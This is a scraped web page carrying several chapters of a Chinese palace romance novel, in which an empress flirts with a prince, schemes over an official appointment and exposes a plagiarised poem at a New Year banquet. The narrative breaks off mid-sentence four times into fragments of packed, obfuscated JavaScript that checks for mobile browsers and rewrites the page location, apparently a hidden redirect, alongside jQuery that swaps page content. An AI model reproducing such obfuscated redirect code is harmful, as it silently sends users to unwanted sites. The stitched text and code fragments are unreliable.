l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13388929|132007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着她,眼中带着几分期待。 “还不错。” 容蓁点点头,一双杏眼笑得弯弯如月,又拿起一块糕点递到他面前,“你也尝尝?” 萧誉看着她递到面前的糕点,又看了看她白皙纤细的手指,喉结不自觉地滚动了一下。 他从前是不怎么喜欢吃这些糕点类的甜物,只是这一次,他却觉得容蓁递过来的这块糕点,应该要比以往吃过的任何一块都要可口。 “怎么?” 容蓁见他不接,看着萧誉的眼神有些疑惑,正想着他是不是不喜这些甜物,正思索着要将伸出去的手收回时,萧誉回过神,连忙接过她手中的糕点,将手中的糕点放入口中,细细品尝起来。 “味道如何?” 容蓁看着他,眼中带着几分狡黠的笑意。 “不错。” 萧誉看着她语气认真道。 她坐在桌前笑意渐深地看着他,“我也觉得这糕点,似乎要比往日吃的都要好吃呢。” 容蓁说着,拿起一块糕点,轻轻咬了一口,然后将剩下的半块糕点,递到他唇边,“要不要,尝尝我的?” 她的声音,轻柔而魅惑,如同羽毛般,轻轻拂过他的心尖,激起一阵阵酥麻的电流。 萧誉看着近在咫尺的红唇,以及那半块沾染着她口水的糕点,喉结再次滚动了一下,呼吸也变得有些急促起来。 他看着她,眼中满是渴望。 “怎么,这是不敢吗?” 容蓁看着他,眼中闪过一抹狡黠的笑意,语气中带着几分挑逗。 “谁说我不敢?” 萧誉被她激起了几分血性,低头一口咬住她手中的糕点,连带着,也含住了她的手指。 “唔……” 容蓁轻呼一声,想要收回手指,却被他紧紧地含住,不肯松口。 他的舌尖,有意无意地舔舐着她的指尖,带起一阵阵酥麻的电流,让她忍不住轻颤了一下。 “萧誉……” 她轻唤他的名字,声音中带着几分娇嗔,几分羞涩,还有几分……说不清道不明的情愫。 听到她唤他的名字,萧誉的心中一荡,再也控制不住自己,低头,吻住了她的唇。 他的气息瞬间将她包围。 带着淡淡桂花香的气息,混杂着他身上特有的冷香,瞬间充斥着她的鼻息,让她有些微微的晕眩。他的唇,带着一丝凉意,却异常柔软,轻轻地摩挲着她的唇瓣,像是品尝着世间最珍贵的美味。 容蓁的睫毛轻轻颤动,心跳如擂鼓般,一下又一下地敲击着她的心房。 她感觉到他口中那块被咬下的桂花糕,带着她的温度,带着他的气息,在两人的唇齿间传递。甜蜜的味道,在口腔中蔓延开来,像是要将彼此融化。 萧誉的手臂收紧,将她更紧地拥入怀中,加深了这个吻。 他的吻,霸道却又温柔,带着一丝克制,却又充满了渴望。 容蓁被他吻得有些喘不过气,但她却没有反抗,只是微微仰起头,回应着他的热情。 不知道过了多久,就在容蓁快要无法呼吸的时候,萧誉终于放开了她。他看着她,眼中带着几分笑意,几分满足,还有几分意犹未尽。 他伸手,轻轻地擦拭着她唇角沾染上的糕点碎屑,动作温柔而又宠溺。 “这家铺子的糕点,果真好吃。” 萧誉看着她,语气中带着几分调侃,几分暧昧。 68.秦氏 容蓁被他看得耳根发烫,故作镇定地移开视线,伸手去拿茶盏,指尖还余留着他方才那吮吸被包裹住时柔软的触感,让她看着自己那只手指尖微微发着怔。 萧誉看着她这副模样,眸色渐深,嘴角却勾起一抹似笑非笑的弧度,眼底的笑意自唇角蔓延开。 他伸手,骨节分明的手指轻轻捏住她握着茶盏的手腕。 “皇后娘娘这是在回味?”他语气玩味,带着几分故意挑逗的意味。 容蓁触电般缩回手,茶盏磕在桌上,发出清脆的声响。 她抬眸瞪他,眼波流转间却带着几分羞恼的风情,故作镇定道:“世子说笑了,我只是……” “只是什么?”萧誉步步紧逼,倾身靠近她,温热的呼吸洒在她耳畔,带着淡淡的甘松清香。 容蓁被他逼得往后靠去,直到后背抵住冰凉的椅背,退无可退。 她这才意识到,自己似乎又落入了他的圈套。 这个男人,总是这般不动声色地撩拨她,让她方寸大乱。 “只是觉得这茶有些烫口罢了。”容蓁强作镇定地回道,侧首避开他灼热的视线。 “哦?是吗?”萧誉低低地笑了一声,语气意味深长。 他伸手将她揽入怀中,下巴抵在她的肩头,声音低沉而富有磁性,“阿蓁,你是在故意撩拨我吗?” 容蓁被他这句突如其来的“阿蓁”叫得心头一颤,仿佛有一只无形的手轻轻拨动了她的心弦。 她听惯了别人称呼她为“皇后”,而进宫前家人唤她“蓁儿”。 “阿蓁”这个名字还是还是第一次有人这般称呼她。她被圈在别人怀里的身体不禁一僵,忘却了要推开他。 萧誉低沉的嗓音带着几分沙哑,像是羽毛般轻轻扫过她的耳廓,激起一阵酥麻的电流。说着,低头吻住她的耳垂,轻轻啃咬。 “唔……” 容蓁轻呼一声,突如其来的酥麻感使得她下意识地想要推开他,却被他强有力的手臂紧紧禁锢在怀中,动弹不得,滚烫的呼吸洒在她的颈窝,酥酥麻麻的,惹起一阵战栗。 “世子慎言。”容蓁头微微朝后仰着,努力控制着颤抖的声音,压低了音量说道,“这里是明华殿。” 萧誉闻言,动作微微一顿,随即轻笑一声,语气中带着几分自嘲:“明华殿,是了,这里是楚燕的皇宫,我面前坐着的是楚燕的皇后。那么,阿蓁,在你眼中,我究竟是什么身份?” 他抬起头,深邃的眸子紧紧锁住她的眼眸,仿佛要将她看穿一般。 容蓁被他这眼神看得有些心慌,她抬起头,对上他那双漆黑的眸子,心中没来由地一疼。 萧誉看着她,他低哑的笑声在容蓁耳边回荡,像一壶醇酒,醉人却不至于失态。 他忽然松开了她,看着容蓁的一双漆黑的眼,明了又暗,过了好一会儿,萧誉正了正神色,似是故意转移话题,只听他问道:“阿蓁,你可知道秦桓此人?” 秦桓? 容蓁被他这突如其来的正经弄得微微一怔,旋即反应过来。她美眸微转,低眉掩饰住眼中如火般的情绪,故作沉吟状,食指抵在下唇瓣上问道:“此人,便是我父亲同你说的,是我们要找的那位第三势力——要扶持他上任吏部尚书?” 她纤纤玉指轻轻点在唇边,像是在认真思考,眼角余光却不动声色地观察着萧誉的神色。 “正是。”萧誉剑眉微挑,将容蓁细微的动作看在眼里,嘴角微勾,眸中却并无笑意,深不见底的黑眸紧紧锁住容蓁,似笑非笑地看着她。 而容蓁却是眉头紧锁,认真地思索着秦桓此人。 秦氏,历来立场中立,如今势力虽不比从前那般强大,但到底瘦死的骆驼比马大,倒确实要比其他世族出来的人更为合适。 最重要的是,就目前的形势来说,任谁也挑不出还有比秦氏更让各方都放心的人。想到此处,容蓁那如黛的眉疏散开后又紧紧皱起。 “看来,皇后娘娘对秦桓此人也是知晓的?”沉思中,一双盯着容蓁的眼皮抬了抬,看着她说道。 被盯着的后者点了点头,若有所思半瞬才语气平缓道:“秦桓出自名门望族,秦氏势力渐微,有才者却是辈出,而此人虽非嫡系,但听说也是个有才能的人。” “哦?那不知皇后娘娘对这位秦大人有何看法?”萧誉身子微微前倾,目光灼灼地盯着她,似乎想要从她脸上看出些什么。 容蓁垂下眼帘,掩去眸中的思绪,纤细白皙的手指轻轻摩挲着手中的茶盏,语气淡淡道:“秦氏本也是百年簪缨世家,其繁盛时期甚至连容氏也不过其之一二。” 她说着顿了顿,目光扫过萧誉,带着几分探究。 “只怕……” 她拉长了尾音,眼波流转间,带着几分说不清道不明的意味。 萧誉果然被她这欲言又止的模样勾起了好奇心,追问道:“只怕什么?” 容蓁看着他,凝重的语气中难得的带了一丝顾虑,“只怕,这位秦大人往后想要拉拢并没那么容易。”她语气轻柔,却字字珠玑,直击要害。 萧誉闻言,眸色微深,定定地看着她,没有说话。 殿内一时寂静无声,只有窗外寒风吹过带起的一缕隐隐梅香,在空气中弥漫着。 容蓁抬眸,对上萧誉那双深不见底的眸子,“世子觉得,我的顾虑可有道理?” 萧誉看着她,眸色渐深,薄唇轻启,吐出两个字:“当然。” 他不得不承认,容蓁说得没错,他亦不想反驳。 秦桓此人,的确不是那么容易拉拢的。 在望月楼是与黄柳的叙述中就可得知,秦氏一族虽然日渐没落,但其百年积累地位在各大世族中依然轻易不可撼动的,秦桓又是秦氏中年一辈中的佼佼者,虽被当今坐在皇椅上的那位打压数年,但背倚秦氏,自然有他的傲气。 想要让他心甘情愿地为他们所用,并非是一件易事。 萧誉沉默了片刻,忽然开口问道:“那依皇后娘娘之见,我们该如何拉拢此人?” 他目光灼灼地盯着容蓁,仿佛自认识她以来,似乎任何事情她总能找到解决的办法。 容蓁闻言,纤纤玉指轻轻敲击着桌面,发出清脆的声响,看着地面微怔的眸底眼色渐深,似是在认真思考着。 他也不着急催促,只静静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13465583|132007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地看着思索的容蓁等待着。 片刻后,她眸底闪过一丝光亮,红唇轻启,吐出两个字:“利益。” “利益?”萧誉剑眉微挑,重复了一遍这两个字,似乎有些意外,但又似乎在情理之中。他深邃的眸子紧紧锁住容蓁,似是想从她脸上看出些什么。 她给萧誉的感觉,总觉得沉静得不像她现在这个年纪所能展现出来的老练。 容蓁抬眸,对上他那双探究的眸子,嘴角勾起一抹极淡的笑意,语气却十分认真,“不错,正是利益,无利不起早,这世上除了血缘也没有比利益更为牢固的关系。” 她放下手中的茶盏,身子微微前倾,目光灼灼地看着萧誉,一字一句道:“秦桓此人,心怀抱负,却苦于没有机会施展,而我们,恰好可以给他这个机会。” 萧誉看着她,眸色渐深,没有说话,似乎在思考着她话中的可行性。 “世子别忘了,秦桓虽非嫡系,却也是秦氏一族的人。”她语气平缓,却字字珠玑,仿佛一柄利剑直指人心。 “而秦氏一族,最看重的便是家族利益。” 萧誉闻言,剑眉微蹙,陷入沉思。 容蓁也不打扰他,只是端起桌上的茶盏,轻轻抿了一口,遮掩住眼底的思绪。 萧誉闻言,薄唇微抿,不得不承认,她的话很有道理。 不知过了多久,他终于抬首看向容蓁,眸中带着几分探究,“你的意思是,我们可以利用秦氏一族想要重振家族声望的心理,来拉拢秦桓?” 话音才落,眼前的女人嘴角边勾起的弧度更高了些,她看着窗外那株傲然挺立的红梅,语气淡淡道:“秦氏这些年虽然没落,但底蕴还在,只要给他们一个机会,他们未必不能重现昔日的辉煌。秦桓想要重振家族声望以获得秦氏嫡系重视,就必须要有足够的筹码。” 她顿了顿,继续说道:“而我们,便要成为他们重振家族的契机。” 萧誉闻言,眸光微闪,显然是被容蓁的话语所打动,心中那股异样的情愫越发强烈。 他忽然觉得,眼前的这个女子,就像是一团迷雾,越是靠近,越是看不清。 而他,却偏偏想要拨开这层迷雾,一探究竟。且他不得不承认,眼前的这个女人很聪明,也很敏锐,一眼就能看穿事情的关键。 只是…… “皇后娘娘就这么肯定,秦桓会选择我们?” 萧誉似笑非笑地看着她,语气中带着几分试探。 容蓁闻言,嘴角的笑意更深了几分,“世子莫不是忘了,如今的陛下,可是对秦氏多有打压。” 她语气淡淡,却字字诛心。 萧誉闻言,眸色微深。 的确,楚绍登基后,为了巩固自己的皇权,对朝中一些世家多有打压,其中就包括秦氏。 秦桓若是聪明人,就该知道,投靠楚绍,只会让秦氏更加举步维艰。而左相宋珺一派多为拥皇派。 故此,要打破秦氏的僵局,他们就成了秦桓唯一的希望。 想到这里,萧誉瞬间就明白了容玉山的深意,都是万年的老狐狸,他眸底微光闪烁,嘴中却道:“蓁儿,果然聪慧。” 69.宫宴(1) 金碧辉煌的承乐殿内,灯火通明,丝竹声声,衣香鬓影,觥筹交错,好一派盛世繁华之景。 容蓁一袭正红凤袍,头戴九尾凤冠,凤冠上的珠翠随着她的走动轻轻摇晃,更衬得她肌肤胜雪,如同一朵盛放的牡丹,艳压群芳。 她款步走到凤椅前,朝着楚绍恭敬地行礼后,姿态优雅地落座。目光却不动声色地扫过下方,在某个角落停顿了片刻,又迅速收回。 楚绍坐在高高的龙椅上,目光灼灼地盯着她,眼底的情绪晦暗不明。 他已有多日未曾见过容蓁,自从上次不欢而散后,他便借口政务繁忙,宿在御书房,不再踏入后宫半步。 楚绍原本以为,自己可以借此冷落她几日,让她明白,后宫之中,从来没有人可以挑战他的权威。 可后宫之中,独独容蓁一人好似对他的做法没有任何感觉,平日里依旧好吃好睡,倒是其他妃嫔,尤其是淑贵妃费心费力地讨好他。 让他不禁开始怀疑,自己是不是做错了。 坐在他身侧的容蓁没有注意身旁之人落在她身上的目光,她眼波流转,嘴角噙着恰到好处的微笑,看似沉浸在这热闹的氛围中,任由宫女将那象征着后宫之主的金箸摆放在她面前。 那目光淡淡扫过下方,百官朝贺,命妇恭顺,一派祥和之下,暗藏着怎样的波涛汹涌,也只有身处其中的人才能窥见一二。 楚绍的目光落在她身上,深邃难测,如同暗夜里潜伏的猎豹,让人捉摸不透。 “皇后今日似乎兴致不高?”他突然开口,声音低沉在她耳畔响起音,带着一丝探究。 容蓁收回目光,微微侧过脸,对上楚绍那双深不见底的眸子,嘴角勾起一抹恰到好处的浅笑,柔声说道:“臣妾能陪在陛下身边,已是最大的欢喜。” 这是那次萧誉在明华殿里敲晕他后,帝后二人第一次见面。 楚绍的目光落在她脸上,那张明艳动人的脸庞,一颦一笑都透着令人心动的风情,可偏偏那双清澈的眸子里,却始终映照不出他的影子。 “是吗?”楚绍深深地看了她一眼,意味不明地笑了笑,举起酒杯,“那皇后便陪朕共饮一杯,以贺新年。” 他的目光,有意无意地扫过坐在左侧席位上,那个身姿挺拔,俊美无俦的男子身上。 而那男子似有所感,抬眸,漆黑的眸子与楚绍在半空中交汇,冰冷,锋利,没有丝毫的退让。 容蓁垂下眼帘,遮住眼底一闪而过的寒意,端起面前的酒盏,轻轻抿了一口。余光不着痕迹地扫过下方,最终也落在了坐在左侧首位,那个白衣胜雪的男子身上。 那白衣男子,俊美无俦的脸上没什么表情,他看着面前身处在寒冬之中,衣服却薄如蝉翼,在宫殿中央翩翩起舞的舞姬,淡漠地喝着手中的酒,仿佛对周围的一切都漠不关心。 只有在看到容蓁看向他时,他那双深邃的黑眸才微微波动了一下,仅仅只是一瞬,便又恢复了平静。 他端起酒杯,轻轻抿了一口,遮住了眼底翻涌的情绪。 龙椅之上,楚绍一身龙袍,他缓缓起身,龙袍上的金龙仿佛活了过来,在烛火下熠熠生辉。 他环视一周,威严的目光扫过下方,带着帝王独有的威压,让在场所有人都不由自主地挺直了脊背。 众人注视之下,见他握起桌面上的酒盏后抬手,龙袍宽大在身侧投下一片阴影,“诸位爱卿,今日乃年底设宴,朕心甚慰,在此敬诸位一杯!” 他声音洪亮,带着帝王的威严,在金碧辉煌的大殿内回荡。 “朕今日设宴,除了共庆新年之外,还有一事要宣布。”他顿了顿,目光锐利地扫过下方。 “回首过往,我朝历经风雨,如今终得太平盛世。楚燕能够日渐强盛,离不开在座各位爱卿的辅佐。然,朕深知,‘生于忧患,死于安乐’的道理。这太平盛世,并非一劳永逸,更需我辈之士,励精图治,守住这来之不易的繁华。”他一杯饮尽,放下酒盏,语气中带着不容置疑的威严。 他将目光威严地扫视下方席位,语气意味深长,“朕意,广纳贤才,为我朝注入新鲜血液,青年才俊为朝廷效力,为百姓谋福祉,共创盛世伟业!诸位卿家之子皆是人中龙凤,今日也正好借此机会,在殿前一展才华,也好让朕和各位卿家,都能见识见识我楚燕年轻一代的风采。” 楚绍话音刚落,下方百官纷纷起身,山呼万岁。在此之后,大殿内顿时响起一阵窃窃私语,不少人目光闪烁,心照不宣地交换着眼神。 容蓁端坐在凤椅之上,不动声色地观察着楚绍的一举一动。也悄无声息地观察着众人的反应,嘴角始终噙着一抹得体的微笑。 他的这番话,看似慷慨激昂,实则暗藏锋芒。 “广纳贤才”? 呵,他这是要借机提拔自己的心腹,打压异己吧? 容蓁心中冷笑,面上却不动声色,甚至还带着一抹恰到好处的微笑,仿佛对楚绍的话十分赞同。 她知道,楚绍这是在试探。 试探她,也试探朝臣。 她微微垂着眼眸,看着面前的酒盏,心中忽然觉得身旁这人有一样是得了皇家真传,那便是说得比唱得好听。 楚绍这人,最是多疑狠绝,如今这副虚与委蛇的模样,自然又是在打着什么主意。 坐在容蓁下首的宋冉琴,也就是淑贵妃,此时却突然掩唇轻笑,声音娇媚动人,“陛下所言极是,只是臣妾愚钝,不知陛下口中的‘一展才华’,指的是哪方面的才华呢?” 她今日穿着一袭华丽的宫装,头上戴满了珠翠,整个人显得雍容华贵,只是那双细长的丹凤眼中,却闪烁着算计的光芒。此时红唇微启正一边说着,一边状似无意地用眼角余光瞥向容蓁,眼底闪过一丝挑衅。 容蓁依旧保持着得体的微笑,仿佛没有看到宋冉琴眼中的挑衅。 “皇后以为如何?”楚绍没有回答宋冉琴的问题,而是将目光转向容蓁,将矛头对准了她。 容蓁微微垂下的眸底一闪而过的寒光,她不动声色地握紧了藏在袖中的手帕,指尖泛白。 下一刻却含笑抬首看着问话之人,面上不动声色,缓缓起身,朝着楚绍盈盈一拜,语气恭敬而温婉:“回陛下,臣妾以为,所谓才华,不拘泥于形式,无论是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13482054|132007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 文韬武略,只要是有益于江山社稷,有益于百姓苍生,皆可称之为‘才华’。” 她语气不卑不亢,落落大方,完美地展现出一国之母的风范。 “皇后所言甚是。”楚绍笑着点点头,目光却依旧紧紧地盯着她。 那宋冉琴见楚绍话说了一半,顺着他的目光看向容蓁,眼尾微扬语气突然变得凌厉起来,“若是空有满腹经纶,却不懂得如何付诸实践,那也不过是纸上谈兵罢了。” 容蓁如何听不出那话里的意思,但她只是淡淡一笑,不慌不忙地反问道:“贵妃妹妹此言差矣,古人云:‘以史为鉴,可以知兴替’。” 她顿了顿,目光扫过下方,最终落在宋冉琴身上,“不知淑贵妃可曾读过《汉书》?” 宋冉琴显然没有料到容蓁会突然将矛头指向自己,微微一愣,随即反应过来,掩唇笑道:“妹妹愚钝,平日里只喜欢研究些琴棋书画,又不像男子那般需明究经世之道,对那些枯燥乏味的史书实在提不起兴趣。” 她这番话,看似是在自谦,实则是在暗讽容蓁。 容蓁自然不会让她得逞,她嘴角勾起一抹意味深长的笑容,“淑贵妃此言差矣,《汉书》中记载了汉朝四百多年的历史,其中不乏精彩绝伦的故事,又岂是‘枯燥乏味’四字可以概括的?” 她顿了顿,看着宋冉琴的目光如同战场上将士的刀般凌厉,起身对着楚绍盈盈一拜,语气依然温和谦逊,“臣妾倒是记得,《汉书·外戚传》中曾记载过这样一件事:汉武帝时,皇后陈阿娇因妒生恨,使用巫蛊之术诅咒卫子夫,最终被废黜后位,打入冷宫,皇后陈阿娇行此等事可谓众位宫妃前车之鉴。” 她话音刚落,大殿内顿时一片哗然。容蓁这番话,明眼人都瞧得出是在暗讽宋冉琴心胸狭隘,善妒成性。 宋冉琴脸色瞬时惨白,她本打算当着百官让容蓁脸面尽失,却怎么也没想到,平日贤良温婉的皇后竟然口齿如此伶俐,当着这么多人的面给她难堪。 她张了张嘴,想要反驳,却发现自己根本无从开口。她心中恼怒,却也不敢发作,只能恨恨地瞪了容蓁一眼,然后低下头。 “皇后娘娘博学多才,妹妹倒是需要多向娘娘学习一二。”宋冉琴深吸一口气,压下心中的怒火,勉强挤出一丝笑容,向容蓁行了一礼。 容蓁淡淡一笑,不置可否。 楚绍的脸色也变得有些难看,他原本只是想借机试探一下容蓁,却没想到,平时难占下风的宋冉琴竟然会被她反将一军。 他深深地看了容蓁一眼,语气意味不明地说道:“皇后方才所言,朕深感认同,历史确实是一面镜子,从中汲取治国之道。淑贵妃平日心思多花在了琴棋书画上,在这些上面倒是不如皇后了。” 她心中冷笑,楚绍想要抬高宋氏未免痕迹过重了些,她再次盈盈拜下,语气恭顺温良道:“臣妾身为皇后,自当应以陛下为重,以史为镜也是为了避免重蹈覆辙。” 楚绍看着她这副温顺的模样,到底也未再多说什么,只是挥了挥手,示意歌舞继续。 丝竹声再次响起,舞姬们翩翩起舞,一派歌舞升平的景象。 70.宫宴(2) 承乐殿殿内,璀璨如星辰的宫灯下,百官似乎并未被方才的小插曲所影响,斛筹交错,交谈甚欢。 桌案上的玉盘中珍馐美味,丝竹庆乐之声悠扬,歌舞之姿曼妙,众人或低声交谈,或高声笑语,还有青年小辈因宴席开场前楚绍的一席话而表露出来的跃跃欲试之态。 反观靠近首座旁,方才被落了面子的宋冉琴气得胸口起伏,她侧首看见父亲宋珺递过来的眼神里已暗含不悦之色,这才将她心中的怒火瞬时压了下去,恶狠狠地剜了坐在她左上首的女子一眼,脸色不佳地端起案前的酒盏,递到微微发着颤的嘴边,小口啜饮,试图平复心情。 容蓁将她的狼狈尽收眼底,唇角勾起一抹不易察觉的弧度,却不知此时的她自己同样也落入别人的眼中。 那人悄无声息地收回看向首座上的目光,端着手里的酒盏,垂下眼睑看着酒盏里倒影出来的烛光若有所思,清冷的面容上略带愠色,只因方才那高贵的女子最后所说的一番话。 一只毛色雪白的波斯猫不知何时蹭到了容蓁脚边,正亲昵地用脑袋蹭着她的裙摆。 容蓁垂眸,纤细白皙的手指轻轻抚摸着猫儿柔软的毛发,听着那波斯猫软糯糯地叫唤了几声后,她嘴角的笑意更深了几分。 【恭喜宿主,御兽第二条支线任务已完成,目前御兽等级提升为三级。即可随意用意识控制小动物,也可让更高级的猛兽帮助宿主做事,但高级动物有选择权,不受宿主的支配。】 脑海里系统的声音忽然响起让容蓁心中一喜,但此时令她更为关心的是,适才这猫儿告诉她的消息。 消息是有关目前最有望接任吏部尚书的许修明,大抵就是说此人在人前装着一幅君子的模样,背后却是个衣冠禽兽,而他近日新得的那个妾室,据说就是被他强纳的。 容蓁的视线似有若无地撇向许明修以及他身旁的那位容貌姣好的女子身上,眼底的一抹笑意稍瞬即逝。 这个消息倒是意外之喜,或许能够让秦桓顺利接任吏部尚书之事少费一番周折。 且说巧不巧,如今御兽第二个支线任务完成,御兽等级再升一阶,她刚好可以做更多的事情了。老天爷这一世似是偏向于她的,今日倒是双喜临门了。 “死”之一事应是世间最为容易的事情,若非容蓁不想简单明了地便宜了宋冉琴,今夜当让宋冉琴也该尝一尝她上辈子所经历的最后一个除夕夜是怎样的情形。 想到前世,一双温柔如水的杏眼里闪过一丝凌厉,只听脑海里系统的声音接着问道: 【宿主是否接取新的支线任务:驯化猛兽,并可用意识随时调遣猛兽行动。任务完成后进入下一阶段,百兽臣服。宿主要开启御兽支线任务吗?】 耳边是歌舞丝竹,眼前是百官庆贺,她的手指轻轻摩挲着波斯猫柔软的毛发,眼眸微微垂着,那丝凌厉稍纵即逝。 “开启。”她用意识回应着脑海中系统的声音,眼角余光却瞥见一个身着官服年纪不大的人站起身,朝着楚绍的恭敬一拜。 “启禀陛下,臣许修明不才,愿赋诗一首,以贺新年!”说话的不是别人,正是近日朝中呼声最高能接替朱祺祥吏部尚书之位,与秦桓同为吏部侍郎的许修明。 容蓁闻声再次抬眸向他看去,见那人而立之年,面上神色与通身气派皆是上乘之色,怎么都想不到这样的人竟然也是个表面端正的伪君子。 楚绍闻言,将手中酒盏搁置于案几之上,饶有兴致地挑了挑眉,“哦?许卿既有此雅兴,朕甚感欣慰,准了。”说罢,目光许修明侯瞧去。 席中,宋氏一派面露喜色,颇为得意地扬起下巴,摆出一副欣赏佳作的神情来,唯有坐在许修明身旁席位上的女子嘴唇紧紧抿起,神情颇为严肃地看着眼前的地面。 许修明得到许准,面露喜色,略作沉思,足下往前走了三步后便朗声吟诵起来。 容蓁对这些歌功颂德的诗词并无兴趣,只漫不经心地一扫坐下众位官员的神情,有点头称赞的,亦有如父亲哥哥般皱眉忧心的,那神情似乎待他一首诗毕就会被立即被提任一般。 扫视一周后,她的目光就不由自主地飘向了坐在左下座末尾的萧誉。 他一袭白衣,端坐于席间,俊美如雕刻般的面容上没有一丝表情,深邃的眸子低垂,似是在认真聆听那诗句,又似在沉思着什么。 容蓁看着他这副清冷禁欲的模样,心中不禁有些好笑。 这人啊,看着清心寡欲,说不定此时正因自己说的那句“臣妾身为皇后,自然当以陛下为重……”打翻了醋坛子呢。 想到这里,容蓁唇角勾起一抹狡黠的笑意,故意将目光投向了那正在吟诗的许明修身上,装作一副听得津津有味的模样。 果然,她感觉到对面那道清冷的目光落在了自己身上,带着几分探究,漆黑的眸子越发地沉了下去。 容蓁心中暗笑,面上却不动声色,甚至还状似不经意地朝着那许修明露出一个赞赏的笑容。 萧誉见状,握着酒杯的手指微微收紧,骨节泛起一抹白。 他薄唇紧抿,眸色渐深,周身散发着一股冰冷的气息,让坐在他身旁的官员都不禁打了个寒颤。 不多会儿,许修明一首诗毕,果然博得了满堂彩。楚绍龙颜大悦,当即夸赞道:“许卿诗才斐然,当赏!”他说着,便吩咐内侍将面前的御用的鹿尾汤,赏赐给了许修明。 被夸的人当即受宠若惊,连忙跪地叩谢皇恩道:“臣,谢陛下隆恩。” 楚绍笑着点了点头,目光扫视一圈,最后落在了容蓁身上,问道:“皇后觉得如何?” 容蓁放下手中金樽,微微一笑,语气温婉:“许大人才华横溢,臣妾也十分欣赏。”她顿了顿,眼角余光瞥见萧誉握着酒杯的手指紧了紧,唇角的笑意更深了几分。 “只是……”她故意拉长了尾音,语气中带着几分迟疑。 楚绍果然来了兴致,追问道:“皇后可是有别的想法?” 容蓁故作犹豫,轻咬着下唇,一副欲言又止的模样。 楚绍见状,心中更加好奇,催促道:“皇后但说无妨。” 容蓁微微一笑,眼波流转间,带着几分少女的娇憨,却也掩盖不住她话语中的锐利:“许大人这首诗歌颂的是太平盛世,可其中所描绘的景象,却与我朝如今的景象大相径庭,不知许大人是从何处得来的灵感?” 她这话一出,满堂皆惊。 许修明更是脸色煞白,双腿一软,直接瘫倒在地。他怎么也没想到,自己这首自认为天衣无缝的诗,竟然会被皇后一眼看穿,切在这之前他也未曾觉得这首诗的异常。 原本颇为满意的楚绍,脸色立即沉了下来,目光如鹰隼般 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13495680|132007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扫过许修明,冷声道:“许卿,皇后所言,你可有何解释?” 许修明吓得浑身颤抖,语无伦次道:“陛下,臣……臣……” “许修明,你好大的胆子!”左相宋珺见状,面上虽是纠结万分,思虑片刻后起身呵斥道,“还不快快将你那首诗的来历,一五一十地招出来!” 许修明瞬间脸色惨白,知道自己今日是在劫难逃了。 他方才所吟这首诗,的确不是他自己所作,而是昨日他从自己颇为宠幸的姬妾那里得来的,那宠妾说是偶得灵感所作,他听后觉得甚好这才动了心思。 本想着今日若是能将此诗献给圣上,借此展现一番自己的才能,接着这段时日的名声造势必能得到重用。 却不想,他千算万算,也没算到皇后竟然如此聪慧,一眼就看穿了他不曾注意到的此诗本身的问题,让自己落得这幅进退两难的田地。 他总不能当着文武百官的面说这诗是自己的宠妾所作,那他今后在百官面前哪里还留有半分颜面。 想到此处,许修明两眼一闭,跪在地上,不断地磕头求饶:“陛下饶命!陛下饶命啊!” 方才安安静静坐在许修明身旁的女子,忽然颤颤巍巍地走至承乐殿中央,“扑通”跪伏在地上,面上比之许修明还要惨白许多,她双手撑地,头埋得很低,整个身子都在禁不住地发抖。 那女子容貌秀丽,眉宇间却带着几分愁容,眼眶红肿,只听她哭诉道:“陛下,民女是许修明刚纳的妾,民女有冤要诉啊!” 楚绍不耐烦地皱了皱眉,问道:“你有什么冤屈,说吧。” 那女子抬起头,泪眼婆娑地看着楚绍,说道:“陛下,那首诗并非是许修明所作!” 此言一出,殿内众人皆是一惊。 容蓁不动声色地观察着那女子的神情,心中冷笑一声。 那女子哭诉道:“那首诗是民女被歹人掳来楚燕途中思念家乡所作,后被送与许修明为妾,昨日许大人来民女房中,无意间听闻民女吟诗,便起了贪念,说是今日在殿上献给陛下,以此来博取陛下的赏识。” “陛下,民女所说句句属实,还请陛下明察,还民女一个自由身!” 被状告的许修明看到跪在地上的女子,指着她怒吼道:“贱人,你竟敢背叛我!” 那女子吓得浑身一颤,却还是强撑着说道:“许修明,你休要血口喷人!陛下,民女所说句句属实,许修明府上的下人们皆可为证,他昨夜确实去过民女的房中!” 许修明闻言,顿时哑口无言。 楚绍看着许修明,眼中满是厌恶和憎恨,“许修明,你还有什么话要说?” 许修明自知着了旁人的道,多说无益,绝望地闭上了眼睛,“臣……臣认罪……” 